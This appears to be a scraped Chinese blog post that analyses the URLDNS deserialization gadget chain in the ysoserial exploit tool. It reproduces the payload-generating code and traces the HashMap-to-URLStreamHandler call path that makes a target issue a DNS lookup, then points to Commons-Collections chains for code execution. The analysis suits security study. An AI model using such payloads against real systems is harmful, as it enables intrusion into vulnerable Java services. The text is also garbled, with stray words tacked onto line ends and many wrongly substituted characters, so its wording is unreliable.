本文假设你对Java基本数据结构、Java反序列化、高级特性(反射、动态代理)等有必定的了解。java
YsoSerial是一款反序列化利用的便捷工具,能够很方便的生成基于多种环境的反序列化EXP。java -jar ysoserial.jar
能够直接查看payload适用环境及其适用版本。git
关于此工具的背景,我引用P神的《Java安全漫游》文章对其的描述:github
2015年Gabriel Lawrence (@gebl)和Chris Frohoffff (@frohoffff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤链,并在年末由于对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,完全打开了⼀⽚Java安全的蓝海。⽽ysoserial就是两位原做者在此议题中释出的⼀个⼯具,它可让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,经过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。安全
下载工具源码发现主要payload生成逻辑都在ysoserial.payloads包下面:数据结构
接下来主要针对 URLDNS、 CommonCollections1-七、CommonsBeanutils 利用链进行分析:app
URLDNS 是要介绍的几条链中调用逻辑最简单的一条,因此以这条链开始。咱们来看看yso是怎么写的工具
public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; }
getObject方法就是获取最后的利用类,return的是一个以精心构造的URL对象为key,url字符串为值的hashMap,调试一下看下调用链。this
HashMap.readOject -> HashMap.hash() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()(获取url的dns地址)url
readObject中有读取key,而后对key进行hash操做,从yso代码得知,hashmap的key为精心构造的URL对象.net
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) .... .... // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
跟进hash,里面调用了URL对象的hashCode()方法。
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
URL对象的存在默认的私有hashCode变量其值为-1,因此会调用yso代码中URL对象构造方法的第三个参数,URLStreamHandler的hashcode。
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
private int hashCode = -1;
而后调用URLStreamHandler的getHostAddress()方法
protected int hashCode(URL u) { ... // Generate the host part. InetAddress addr = getHostAddress(u); ... return h; }
getHost 就会发起对应url的请求,后续就不用再跟了。
rotected synchronized InetAddress getHostAddress(URL u) { ... String host = u.getHost(); ... return u.hostAddress; }
以上就是URLDNS的调用逻辑,可是在yso中仍是有两个点值得咱们注意:
首先第一个问题,这一行代码是干吗的,为何要将URL对象中的hashcode经过反射的方式设置为-1呢,URL对象中的hash code自己就是-1,为何要这么作?
其实经过代码中的注释咱们也能知道,在hashMap进行put操做时,会调用hash()方法,进而完成了一次相似反序列化的调用,handler调用hashcode()方法时也会将默认的hashCode值进行从新计算,因此put()完,自己的hashCode已经不为-1了,因此反序列就不会在继续执行handler.hashCode(this),也就没发触发DNS请求。
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
第二个问题,其实和第一个问题同样,在put时也会进行一次hash()调用从而进行一次dns请求,为了不在生成payload对象时候发起dns请求,因此继承了URLStreamHandler,实现getHostAddress、openConnection两个方法进行空操做,进而在生产payload对象时就不会发器dns请求了。
刚开始看到这里的时候我比较疑惑,重写了这两个方法到时候在使用这个payload去利用的时候不就没发正常发起DNS请求了吗,那这样作意义何在?原来我忽略了一个东西,在URL类中,URLStreamHandler被transient
关键字标记,transient
标记的属性在序列化时不会带入序列化的数据里面,这样在生成payload或者调试的时候不会发起DNS请求,但又不影响payload的正常使用,很是巧妙。
URLDNS是一个不须要依赖其余包的反序列化利用,且调用过程比较简单,只会在HashMap与StreamHandler之间调用,稍微须要注意的也就是亮点,一个为何要将hashcode最后经过反射的方式置为-1,另外一个是为何重写过StreamHandler两个方法为空操做后仍然能在凡序化后正常发起dns请求。
虽然URLDNS这条链很简单,但其实它作不了什么,仅仅只能帮助咱们判断这个地方可能存在用户可控的凡序列化问题,仍然不能进行进一步的利用,那要怎么才能利用乃至RCE呢? 下一专题Common-collections1 就来帮助咱们解决这个问题。